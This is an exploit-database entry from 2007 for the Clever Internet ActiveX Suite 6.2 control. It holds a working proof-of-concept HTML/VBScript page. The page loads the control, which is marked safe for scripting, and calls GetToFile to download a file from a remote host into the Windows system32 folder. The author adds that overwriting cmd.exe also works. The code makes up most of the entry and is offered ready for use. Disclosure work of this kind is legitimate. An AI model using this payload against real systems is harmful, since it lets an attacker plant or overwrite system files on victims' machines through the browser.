Clever Internet ActiveX Suite 6.2 - Arbitrary File Download/Overwrite

EDB-ID:

4226

Author:

shinnai

Type:

remote

Platform:

Windows

Published:

2007-07-25

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------
 <b>Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit</b>
 url: http://www.clevercomponents.com/home/news.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller, data
 IPStorage Safe:  Safe for untrusted: caller,data</b>

 Using the "GetToFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------------

<object classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.GetToFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\windows\system32\shinnai.txt"
 MsgBox("Exploit completed!")

End Sub
</script>

</span>
</code></pre>

# milw0rm.com [2007-07-25]